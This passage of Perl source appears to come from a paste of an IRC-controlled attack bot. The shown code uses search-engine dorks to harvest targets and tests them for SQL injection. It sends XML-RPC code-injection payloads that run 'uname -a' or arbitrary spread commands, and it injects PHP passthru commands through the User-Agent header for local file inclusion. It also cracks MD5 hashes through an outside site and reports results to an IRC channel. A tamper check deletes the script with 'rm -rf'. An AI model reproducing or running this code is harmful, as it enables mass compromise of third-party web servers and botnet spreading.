- if ($re =~ /BaMbY/){
- getcontent($rfispd);
- os($rfixpl);
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3RFI15)2$inj14 $os");
- sendraw($IRC_cur_socket, "PRIVMSG BaMbY :15(4@3RFI15)2$inj14 $os");
- }
- }
- }
- sub sqlscan() {
- my $engz = $_[0];
- my $bugz = $_[1];
- my $dork = $_[2];
- my $contatore = 0;
- if ($engz =~ /GooGLe/) {
- my @sqlgoogle=&google($dork);
- push(@sqltotal, @sqlgoogle);
- }
- if ($engz =~ /AllTheWeb/) {
- my @sqlalltheweb=&alltheweb($dork);
- push(@sqltotal, @sqlalltheweb);
- }
- if ($engz =~ /Bing/) {
- my @sqlBing=&Bing($dork);
- push(@sqltotal, @sqlBing);
- }
- if ($engz =~ /ALtaViSTa/) {
- my @sqlaltavista=&altavista($dork);
- push(@sqltotal, @sqlaltavista);
- }
- if ($engz =~ /AsK/) {
- my @sqlask=&ask($dork);
- push(@sqltotal, @sqlask);
- }
- if ($engz =~ /UoL/) {
- my @sqluol=&uol($dork);
- push(@sqltotal, @sqluol);
- }
- if ($engz =~ /YahOo/) {
- my @sqlyahoo=&yahoo($dork);
- push(@sqltotal, @sqlyahoo);
- }
- my @sqlclean = &calculate(@sqltotal);
- if (scalar(@sqlclean) != 0) {
- }
- my $uni=scalar(@sqlclean);
- foreach my $sqltarget (@sqlclean)
- {
- $contatore++;
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)(4@3$engz15)10 Scan Finish for14 $dork");
- }
- my $xpl = "http://".$sqltarget.$bugz."'";
- my $vuln = "http://".$sqltarget."12".$bugz."7[SQL]";
- my $strona = getcontent($xpl);
- if ( $strona =~ m/You have an error in your SQL syntax/i || $strona =~ m/Query failed/i || $strona =~ m/SQL query failed/i )
- {sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)(2MySQL15)14 $vuln ");}
- elsif ( $strona =~ m/ODBC SQL Server Driver/i || $strona =~ m/Unclosed quotation mark/i || $strona =~ m/Microsoft OLE DB Provider for/i )
- {sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)(2MsSQL15)14 $vuln ");}
- elsif ( $strona =~ m/Microsoft JET Database/i || $strona =~ m/ODBC Microsoft Access Driver/i )
- {sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)(2MsAccess15)14 $vuln ");}
- }
- }
- sub enc()
- {
- my $md5_hash = $1;
- my $md5_generated = md5_hex($md5_hash);
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3md5 Encode15)2 $md5_generated");
- }
- sub dec()
- {
- my $md5 = $1;
- my $crac = 'http://md5.noisette.ch/md5.php?hash='.$md5;
- my $found = getcontent($crac);
- if ($found =~ /<string><!\[CDATA\[(.*)\]\]><\/string>/)
- {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3md5 Decode15)2 $1");
- }
- else
- {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3md5 Decode15)2 $1");
- }
- }
- sub xmlcek {
- my $xmltgt = $_[0];
- my $userAgent = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo'j13mb0t';echo`uname -a`;echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
- my $response = $userAgent->request(POST $xmltgt, Content_Type => 'text/xml', Content => $exploit);
- if ($response->content =~ /j13mb0t(.*)j13mb0t/s) {
- $os=$1;
- }}
- sub xmlvuln {
- my $xmltargt = $_[0];
- my $userAgent = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo 'J1mb0'.'T';exit;/*</name></value></param></params></methodCall>";
- my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
- if ($response->content =~ /J1mb0T/) {
- $shellx=$xmltargt;
- }}
- sub xmlxspread() {
- my $xmltargt = $_[0];
- my $xmlsprd = $_[1];
- my $userAgent = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo'j13m';echo`".$xmlsprd."`;echo'b0T';exit;/*</name></value></param></params></methodCall>";
- my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
- }
- sub getcontent() {
- my $url = $_[0];
- my $req = HTTP::Request->new(GET => $url);
- my $ua = LWP::UserAgent->new();
- $ua->timeout(15);
- my $response = $ua->request($req);
- return $response->content;
- }
- sub lfiexploit() {
- my $url = $_[0];
- my $rce = $_[1];
- my $agent = "<?php echo \"j13mb0t#\"; passthru(\'".$rce."\'); echo \"#j13mb0t\"; ?>";
- my $ua = LWP::UserAgent->new(agent => $agent);
- $ua->timeout(15);
- my $req = HTTP::Request->new(GET => $url);
- my $response = $ua->request($req);
- return $response->content;
- }
- sub google(){
- my @lst;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=1000; $b+=100){
- my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
- my $Res=query($Go);
- while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($1 !~ /google/){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }
- }
- }
- return @lst;
- }
- sub SIGN() {
- if (($powered !~ /M/)||($mail !~ /web/)) {
- print "\nLamer!!! Bodoh ToloL Oon !!! Udah Gak Usah diRubah Lagi!!!\n\n";
- exec("rm -rf $0 && pkill perl");
- }
- }
- sub alltheweb() {
- my @lst;
- my $key = $_[0];
- my $b = 0;
- my $pg = 0;
- for ($b=0; $b<=1000; $b+=100) {
- my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
- my $Res = query($all);
- while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
- my $k = $1;
- $k =~ s/ //g;
- my @grep = links($k);
- push( @lst, @grep );
- }
- }
- return @lst;
- }
- sub uol() {
- my @lst;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=1000; $b+=10) {
- my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
- my $Res = query($UoL);
- while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
- my $k = $1;
- if ( $k !~ /busca|uol|yahoo/ ) {
- my $k = $1;
- my @grep = links($k);
- push( @lst, @grep );
- }
- }
- }
- return @lst;
- }
- sub Bing() {
- my @lst;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=1000; $b+=10) {
- my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
- my $Res = query($bing);
- while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
- if ( $1 !~ /msn|live|bing/ ) {
- my $k = $1;
- my @grep = links($k);
- push( @lst, @grep );
- }
- }
- }
- return @lst;
- }
- sub altavista(){
- my @lst;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=1000; $b+=10){
- my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
- my $Res=query($AlT);
- while ($Res=~m/<span class=ngrn>(.+?)\//g){
- if ($1 !~ /altavista/){
- my $k=$1;
- $k=~s/<//g;
- $k=~s/ //g;
- my @grep=links($k);
- push(@lst,@grep);
- }
- }
- }
- return @lst;
- }
- sub ask() {
- my @lst;
- my $key = $_[0];
- my $b = 0;
- my $pg = 0;
- for ($b=0; $b<=1000; $b+=10) {
- my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
- my $Res = query($Ask);
- while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- if ($1 !~ /ask.com/){
- my $k = $1;
- my @grep = links($k);
- push( @lst, @grep );
- }
- }
- }
- return @lst;
- }
- sub yahoo() {
- my @lst;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=1) {
- my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
- my $Res = query($yahoo);
- while ($Res =~ m/26u=(.*?)%26w=/g) {
- if ($1 !~ /yahoo/){
- my $k = $1;
- my @grep = links($k);
- push(@lst, @grep);
- }
- }
- }
- return @lst;
- }
- sub os() {
- my $target=$_[0];
- my $re = &query($target);
- while ($re =~ m/<br>OSTYPE:(.+?)\<br>/g) {
- $os = $1;
- }
- }
- sub query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ( $query eq "" ) { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
- my @r = <$sock>;
- $page = "@r";
- close($sock);
- };
- return $page;
- }
- sub links() {
- my @l;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/\1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push( @l, $link, $host, $hdir );
- return @l;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- return $dork;
- }
- sub calculate {
- my @calculate = ();
- my %visti = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visti{$element}++;
- push @calculate, $element;
- }
- return @calculate;
- }
- sub nick {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
- sub join {
- sendraw("JOIN $_[0]");
- }
- sub part {
- sendraw("PART $_[0]");
- }
- sub quit {
- sendraw("QUIT $_[0]");
- exit;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement